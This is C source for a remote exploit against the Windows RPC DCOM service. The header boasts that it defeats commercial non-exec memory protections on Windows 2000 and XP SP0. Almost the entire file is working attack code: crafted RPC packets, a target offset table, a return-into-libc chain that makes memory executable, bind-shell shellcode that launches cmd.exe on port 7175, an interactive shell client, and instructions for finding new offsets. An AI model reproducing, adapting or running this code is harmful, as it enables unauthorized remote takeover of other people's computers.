/*

* have you recently bought one of those expensive new windows security products

* on the market? do you think you now have strong protection?

* Look again:

*

* *rpc!exec*

* by ins1der (trixterjack (at) yahoo (dot) com [email concealed])

*

* windows remote return into libc exploit!

*

* remote rpc exploit breaking non exec memory protection schemes

* tested against :

* OverflowGuard

* StackDefender (kernel32 imagebase randomization:O nice try guys.)

*

*

* currently breaking:

* Windows 2000 SP0 (english)

* Windows XP SP0 (english)

*

* to get new offsets use this:

* ------------------------------

* #include <windows.h>

* #include <stdio.h>

*

* int main()

* {

* HANDLE h1,h2;

* unsigned long addr1,addr2,addr3,addr4;

* h1=LoadLibrary("ntdll.dll");

* h2=LoadLibrary("MSVCRT.dll");

* addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");

* addr2=(unsigned long)GetProcAddress(h2,"memcpy");

* addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");

* for (addr4=addr1;addr4<addr1+0xffff;addr4++)

* {

* if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;

* }

* printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);

* return 0;

* }

* -----------------------------

* to get the last offset use a standard rpc dcom exploit with the last

* \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit

* and read the drwatson logs. substract 0xA5 from the fault address.

*

*

* Shouts go to:

* w00pz, SpaceCow, Int3, lacroix, misu200, j00(xor),

* s0ny, crisis, and to all my true friends.

*

*

* Enjoy!

*

*/

#include <sys/socket.h>

#include <netinet/in.h>

unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x
00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x
01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x
00,0x46,

0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x
08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0xE5,0x00,0x
00,0x00,

0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45,0x64,0x49,0xB0,0x70,0x
DD,0xAE,

0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E,0x0D,0x00,0x00,0x00,0x
00,0x00,

0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x
00,0x20,

0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41,0x52,0x42,0x01,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0xA8,0xF4,0x
0B,0x00,

0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x
00,0x00,

0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x
00,0x46,

0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x
00,0x46,

0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03,0x00,0x00,0x00,0x00,0x
00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00,0x00,0x00,0x4D,0x45,0x
4F,0x57,

0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x
00,0x00,

0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29,0xCD,0x00,0x00,0x00,0x
00,0x00,

0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x
00,0x00,

0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x
00,0x00,

0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x78,0x00,0x
00,0x00,

0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0x
CC,0xCC,

0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0x
CC,0xCC,

0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09,0x02,0x00,0x00,0x00,0x
00,0x00,

0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x19,0x
0C,0x00,

0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x70,0xD8,0x
98,0x93,

0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00,0x00,0x00,0x32,0x00,0x
31,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00,0x00,0x00,0x0D,0xF0,0x
AD,0xBA,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x
00,0x00,

0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x00,0x00,0x
00,0x00,

0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03,0x00,0x00,0x00,0x00,0x
00,0x00,

0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x00,0x
00,0x00,

0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E,0xE9,0x4A,0x99,0x99,0x
F1,0x8A,

0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x
00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00,0x00,0x00,0x78,0x00,0x
6E,0x00,

0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x
00,0x00,

0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00,0x58,0x00,0x00,0x00,0x
00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00,0x00,0x00,0x30,0x00,0x
2E,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00,0x00,0x00,0x0E,0x00,0x
FF,0xFF,

0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
00,0x00};

unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x5C,0x00,0x
5C,0x00

};

unsigned char request3[]={

0x5C,0x00,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x
34,0x00,

0x35,0x00,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x
31,0x00,

0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x
31,0x00,

0x31,0x00,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char request4[]={

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x
2D,0x00,

0x00,0x00,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x
00,0x00,

0x28,0x8C,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x
00,0x00

};

struct offset

{

char *description;

unsigned long valloc;

unsigned long amemcpy;

unsigned long vprot;

unsigned long ret;

unsigned long frame;

};

struct offset targets[]=

{

{"Windows 2000 SP0 (english)",

0x77f95da9,

0x78001194,

0x77f82ffb,

0x77f96800,

0x52f770

}

,

{"Windows XP SP0 (english)",

0x77f7e4c3,

0x77c42e10,

0x77f7ec43,

0x77f80a07,

0x5bf79c

}

,

{NULL,0,0,0,0,0}

};

unsigned char shell[]=

"\x46\x00\x58\x00"

"\x4E\x00\x42\x00"

"\x46\x00\x58\x00"

"\x46\x00\x58\x00"

"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff"

"\xff\xff\xff\xff"

"\xcc\xe0\xfd\x7f"

"\xcc\xe0\xfd\x7f"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e"

"\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9"

"\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68"

"\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04"

"\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff"

"\x36\x68\xef\xce\xe0\x60\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76"

"\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76"

"\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76"

"\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76"

"\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76"

"\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76"

"\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff"

"\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"

"\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02"

"\x00\x1c\x07\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56"

"\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63"

"\x6d\x64\x2e\x89\x66\x30\x83\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9"

"\x83\xc1\x15\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89"

"\x54\x24\x48\x89\x54\x24\x4c\x89\x54\x24\x50\x8d\x44\x24\x10\x54"

"\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b"

"\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56"

"\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c"

"\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09\x8b\x40\x34\x8b\xa8\xb8\x00"

"\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24"

"\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20"

"\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac"

"\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75"

"\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b"

"\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04"

"\x00\x90\x90\x90\x80\xbf\x32\x94\x80\xbf\x32\x94";

struct frame1

{

unsigned long frame0;

unsigned long ret;

}fr1;

struct retstruct

{

unsigned long frame1;

unsigned long valloc;

unsigned long ret1;

unsigned long dummy1;

unsigned long pointer11;

unsigned long zero;

unsigned long pointer12;

unsigned long type;

unsigned long prot;

unsigned long frame2;

unsigned long amemcpy;

unsigned long ret2;

unsigned long dest;

unsigned long src;

unsigned long size2;

unsigned long frame3;

unsigned long vprot;

unsigned long ret3;

unsigned long dummy2;

unsigned long pointer21;

unsigned long pointer22;

unsigned long newprot;

unsigned long oldprot;

}rets;

void prepare_ret(int id)

{

rets.type=0x3000;

rets.prot=0x4;

rets.newprot=0x20;

rets.valloc=targets[id].valloc;

rets.amemcpy=targets[id].amemcpy;

rets.vprot=targets[id].vprot;

fr1.ret=rets.ret1=rets.ret2=targets[id].ret;

fr1.frame0=targets[id].frame;

rets.frame1=fr1.frame0+9*4;

rets.frame2=rets.frame1+6*4;

rets.oldprot=fr1.frame0;

rets.frame3=rets.frame1;

rets.size2=sizeof(shell);

rets.src=fr1.frame0;

rets.dest=0x55555000;

rets.ret3=0x5555506c;

rets.dummy1=rets.dummy2=0xffffffff;

rets.zero=0;

*(int*)(shell+148)=0x55555000;

*(int*)(shell+152)=sizeof(shell);

*(int*)(shell+140)=0x55555000;

*(int*)(shell+144)=sizeof(shell);

rets.pointer11=fr1.frame0+92;

rets.pointer12=fr1.frame0+96;

rets.pointer21=fr1.frame0+100;

rets.pointer22=fr1.frame0+104;

memcpy(shell+32,&fr1,sizeof(fr1));

memcpy(shell+48,&rets,sizeof(rets));

}

void entershell(int sock)

{

char buf[3000];

fd_set fdr;

int rs;

FD_ZERO(&fdr);

FD_SET(sock,&fdr);

FD_SET(0,&fdr);

for(;;)

{

FD_SET(sock, &fdr);

FD_SET(0, &fdr);

if(select(FD_SETSIZE,&fdr,NULL,NULL,NULL)<0) break;

if(FD_ISSET(sock, &fdr))

{

if((rs=read(sock,buf,sizeof(buf)))<0)

{

printf("connection lost\n");

return;

}

if(write(1,buf,rs)<0) break;

}

if(FD_ISSET(0,&fdr))

{

if((rs=read(0,buf,sizeof(buf)))<0)

{

printf("[-] Connection lost..\n");

exit(1);

}

if (write(sock,buf,rs) < 0) break;

}

usleep(100);

}

printf("connection closed\n");

return;

}

int main(int argc, char **argv)

{

int sock,i,len1;

struct sockaddr_in sin;

unsigned char buf1[0x1000],buf2[0x1000];

if(argc<3)

{

printf("###############################\n");

printf("return into libc rpc exploit\n");

printf("ins1der 2003\n");

printf("*****************************************\n");

printf("usage: %s <ip> <id>\n", argv[0]);

printf("*****************************************\n");

printf("targets:\n");

printf("-----------------------------------------\n");

for (i=0;targets[i].description!= NULL;i++)

{

printf("%d\t%s\n",i,targets[i].description);

}

printf("-----------------------------------------\n");

return 0;

}

printf("Exploiting %s...\n",argv[1]);

prepare_ret(atoi(argv[2]));

sin.sin_family=AF_INET;

sin.sin_addr.s_addr=inet_addr(argv[1]);

sin.sin_port=htons(135);

if ((sock=socket(AF_INET,SOCK_STREAM,0))==-1)

{

perror("socket ");

return 0;

}

if(connect(sock,(struct sockaddr*)&sin, sizeof(sin)))

{

perror("connect ");

return 0;

}

memcpy(buf2,request1,sizeof(request1));

len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(shell)/2;

*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(shell)/2;

memcpy(buf2+len1,request2,sizeof(request2));

len1=len1+sizeof(request2);

memcpy(buf2+len1,shell,sizeof(shell));

len1=len1+sizeof(shell);

memcpy(buf2+len1,request3,sizeof(request3));

len1=len1+sizeof(request3);

memcpy(buf2+len1,request4,sizeof(request4));

len1=len1+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(shell)-0xc;

*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(shell)-0xc;

if (send(sock,(char*)bindstr,sizeof(bindstr),0)==-1)

{

perror("send");

return 0;

}

recv(sock,(char*)buf1,1000,0);

if (send(sock,(char*)buf2,len1,0)== -1)

{

perror("send");

return 0;

}

close(sock);

sleep(1);

sin.sin_port = htons(7175);

if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)

{

perror("socket");

return(0);

}

if(connect(sock,(struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)

{

printf("Exploit failed\n");

return(0);

}

printf("Entering shell\n");

entershell(sock);

return 1;

}

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